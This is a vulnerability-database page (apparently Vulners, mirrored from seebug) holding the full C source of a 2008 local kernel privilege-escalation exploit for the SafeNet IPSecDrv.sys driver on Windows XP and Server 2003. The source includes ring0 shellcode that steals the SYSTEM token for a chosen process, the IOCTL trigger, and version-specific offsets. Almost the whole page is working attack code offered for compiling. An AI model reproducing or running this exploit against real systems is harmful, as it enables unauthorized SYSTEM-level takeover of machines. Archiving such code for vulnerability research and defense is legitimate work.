Lucene search
K

Safenet IPSecDrv.sys <= 10.4.0.12 Local kernel ring0 SYSTEM Exploit

🗓️ 30 Jan 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Safenet IPSecDrv.sys <= 10.4.0.12 Local kernel ring0 SYSTEM Exploit by mu-b - Thu 03 Jan 2008. Tested on: IPSecDrv.sys 10.4.0.12 bundled with SafeNET HighAssurance Remote, SoftRemote - Microsoft Windows 2003 SP2. Indirect call user definable offset used. Compile: MinGW -lntdll. Private Source Code - DO NOT DISTRIBUTE

Code

                                                /* safenet-ipsec-call.c
 *
 * Copyright (c) 2008 by &lt;[email protected]&gt;
 *
 * Safenet IPSecDrv.sys &lt;= 10.4.0.12 local kernel ring0 indirect call SYSTEM exploit
 * by mu-b - Thu 03 Jan 2008
 *
 * - Tested on: IPSecDrv.sys 10.4.0.12
 *    bundle with: SafeNET HighAssurance Remote, SoftRemote
 *              - Microsoft Windows 2003 SP2
 *
 * user definable offset used in an indirect call.
 *
 * .text:10009970 000 mov     eax, [esp+arg_0]
 * .text:10009974 000 mov     ecx, [esp+arg_4]
 * .text:10009978 000 shl     eax, 4
 * .text:1000997B 000 push    ecx
 * .text:1000997C 004 call    off_1001C604[eax]
 *
 * Note: this can be made universal for all array offsets,
 * relatively easily since we control the offset and therefore
 * the memory address..
 * IPSecDrv.sys 10.4.0.12 - 0x1C604
 *              10.3.5.6  - 0x1B604
 *
 * Compile: MinGW + -lntdll
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

#include &lt;windows.h&gt;
#include &lt;ddk/ntapi.h&gt;

#define IPSECDRV_IOCTL  0x80002064

#define ARG_SIZE(a)     ((a)/sizeof (void *))

static unsigned char win32_fixup[] =
  &quot;\x53&quot;
  &quot;\x52&quot;;

static unsigned char win2k3_ring0_shell[] =
  /* _ring0 */
  &quot;\xb8\x24\xf1\xdf\xff&quot;
  &quot;\x8b\x00&quot;
  &quot;\x8b\xb0\x18\x02\x00\x00&quot;
  &quot;\x89\xf0&quot;
  /* _sys_eprocess_loop   */
  &quot;\x8b\x98\x94\x00\x00\x00&quot;
  &quot;\x81\xfb\x04\x00\x00\x00&quot;
  &quot;\x74\x11&quot;
  &quot;\x8b\x80\x9c\x00\x00\x00&quot;
  &quot;\x2d\x98\x00\x00\x00&quot;
  &quot;\x39\xf0&quot;
  &quot;\x75\xe3&quot;
  &quot;\xeb\x21&quot;
  /* _sys_eprocess_found  */
  &quot;\x89\xc1&quot;
  &quot;\x89\xf0&quot;

  /* _cmd_eprocess_loop   */
  &quot;\x8b\x98\x94\x00\x00\x00&quot;
  &quot;\x81\xfb\x00\x00\x00\x00&quot;
  &quot;\x74\x10&quot;
  &quot;\x8b\x80\x9c\x00\x00\x00&quot;
  &quot;\x2d\x98\x00\x00\x00&quot;
  &quot;\x39\xf0&quot;
  &quot;\x75\xe3&quot;
  /* _not_found           */
  &quot;\xcc&quot;
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  &quot;\x8b\x89\xd8\x00\x00\x00&quot;
  &quot;\x89\x88\xd8\x00\x00\x00&quot;
  &quot;\x90&quot;;

static unsigned char winxp_ring0_shell[] =
  /* _ring0 */
  &quot;\xb8\x24\xf1\xdf\xff&quot;
  &quot;\x8b\x00&quot;
  &quot;\x8b\x70\x44&quot;
  &quot;\x89\xf0&quot;
  /* _sys_eprocess_loop   */
  &quot;\x8b\x98\x84\x00\x00\x00&quot;
  &quot;\x81\xfb\x04\x00\x00\x00&quot;
  &quot;\x74\x11&quot;
  &quot;\x8b\x80\x8c\x00\x00\x00&quot;
  &quot;\x2d\x88\x00\x00\x00&quot;
  &quot;\x39\xf0&quot;
  &quot;\x75\xe3&quot;
  &quot;\xeb\x21&quot;
  /* _sys_eprocess_found  */
  &quot;\x89\xc1&quot;
  &quot;\x89\xf0&quot;

  /* _cmd_eprocess_loop   */
  &quot;\x8b\x98\x84\x00\x00\x00&quot;
  &quot;\x81\xfb\x00\x00\x00\x00&quot;
  &quot;\x74\x10&quot;
  &quot;\x8b\x80\x8c\x00\x00\x00&quot;
  &quot;\x2d\x88\x00\x00\x00&quot;
  &quot;\x39\xf0&quot;
  &quot;\x75\xe3&quot;
  /* _not_found           */
  &quot;\xcc&quot;
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  &quot;\x8b\x89\xc8\x00\x00\x00&quot;
  &quot;\x89\x88\xc8\x00\x00\x00&quot;
  &quot;\x90&quot;;

static unsigned char win32_ret[] =
  &quot;\x5a&quot;
  &quot;\x5b&quot;
  &quot;\xc2\x04\x00&quot;;

struct ioctl_req {
  void *arg[ARG_SIZE(0x4C)];
};

static PCHAR
fixup_ring0_shell (PVOID base, DWORD ppid, DWORD *zlen)
{
  DWORD dwVersion, dwMajorVersion, dwMinorVersion;

  dwVersion = GetVersion ();
  dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion)));
  dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion)));

  if (dwMajorVersion != 5)
    {
      fprintf (stderr, &quot;* GetVersion, unsupported version\n&quot;);
      exit (EXIT_FAILURE);
    }

  switch (dwMinorVersion)
    {
      case 1:
        *zlen = sizeof winxp_ring0_shell - 1;
        *(PDWORD) &amp;winxp_ring0_shell[55] = ppid;
        return (winxp_ring0_shell);

      case 2:
        *zlen = sizeof win2k3_ring0_shell - 1;
        *(PDWORD) &amp;win2k3_ring0_shell[58] = ppid;
        return (win2k3_ring0_shell);

      default:
        fprintf (stderr, &quot;* GetVersion, unsupported version\n&quot;);
        exit (EXIT_FAILURE);
    }

  return (NULL);
}

static PVOID
get_module_base (void)
{
  PSYSTEM_MODULE_INFORMATION_ENTRY pModuleBase;
  PSYSTEM_MODULE_INFORMATION pModuleInfo;
  DWORD i, num_modules, status, rlen;
  PVOID result;

  status = NtQuerySystemInformation (SystemModuleInformation, NULL, 0, &amp;rlen);
  if (status != STATUS_INFO_LENGTH_MISMATCH)
    {
      fprintf (stderr, &quot;* NtQuerySystemInformation failed, 0x%08X\n&quot;, status);
      exit (EXIT_FAILURE);
    }

  pModuleInfo = (PSYSTEM_MODULE_INFORMATION) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, rlen);

  status = NtQuerySystemInformation (SystemModuleInformation, pModuleInfo, rlen, &amp;rlen);
  if (status != STATUS_SUCCESS)
    {
      fprintf (stderr, &quot;* NtQuerySystemInformation failed, 0x%08X\n&quot;, status);
      exit (EXIT_FAILURE);
    }

  num_modules = pModuleInfo-&gt;Count;
  pModuleBase = &amp;pModuleInfo-&gt;Module[0];
  result = NULL;

  for (i = 0; i &lt; num_modules; i++, pModuleBase++)
    if (strstr (pModuleBase-&gt;ImageName, &quot;IPSECDRV.sys&quot;))
      {
        result = pModuleBase-&gt;Base;
        break;
      }

  HeapFree (GetProcessHeap (), HEAP_NO_SERIALIZE, pModuleInfo);

  return (result);
}

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  LPVOID c_addr, p_addr;
  LPVOID zpage, zbuf, base, pbase;
  DWORD rlen, zlen, ppid;
  HANDLE hFile;
  BOOL result;

  printf (&quot;Safenet IPSecDrv.sys &lt;= 10.4.0.12 local kernel ring0 SYSTEM exploit\n&quot;
          &quot;by: &lt;[email protected]&gt;\n&quot;
          &quot;http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n&quot;);

  if (argc &lt;= 1)
    {
      fprintf (stderr, &quot;Usage: %s &lt;processid to elevate&gt;\n&quot;, argv[0]);
      exit (EXIT_SUCCESS);
    }

  ppid = atoi (argv[1]);

  hFile = CreateFileA (&quot;\\\\.\\IPSecDrv&quot;, FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, &quot;* CreateFileA failed, %d\n&quot;, hFile);
      exit (EXIT_FAILURE);
    }

  zpage = VirtualAlloc (NULL, 0x10000, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (zpage == NULL)
    {
      fprintf (stderr, &quot;* VirtualAlloc failed\n&quot;);
      exit (EXIT_FAILURE);
    }
  printf (&quot;* allocated page: 0x%08X [%d-bytes]\n&quot;,
          zpage, 0x10000);

  c_addr = zpage;
  base = get_module_base ();
  p_addr = (LPVOID) ((DWORD) ((LPVOID) &amp;c_addr - (base + 0x1C604)) / 16);
  printf (&quot;* base: 0x%08X, p: 0x%08X\n&quot;, base + 0x1C604, &amp;c_addr);
  printf (&quot;* call distance: 0x%08X\n&quot;, p_addr);

  memset (zpage, 0xCC, 0x10000);
  zbuf = fixup_ring0_shell (base, ppid, &amp;zlen);
  memcpy (zpage, win32_fixup, sizeof (win32_fixup) - 1);
  memcpy (zpage + sizeof (win32_fixup) - 1, zbuf, zlen);
  memcpy (zpage + sizeof (win32_fixup) + zlen - 1,
          win32_ret, sizeof (win32_ret) - 1);

  memset (&amp;req, 0, sizeof req);
  req.arg[0] = p_addr;

  /* jump to our address   :)   */
  printf (&quot;* jumping.. &quot;);
  result = DeviceIoControl (hFile, IPSECDRV_IOCTL,
                            &amp;req, sizeof req, &amp;req, sizeof req, &amp;rlen, 0);
  if (!result)
    {
      fprintf (stderr, &quot;* DeviceIoControl failed\n&quot;);
      exit (EXIT_FAILURE);
    }
  printf (&quot;done\n\n&quot;
          &quot;* hmmm, you didn't STOP the box?!?!\n&quot;);

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation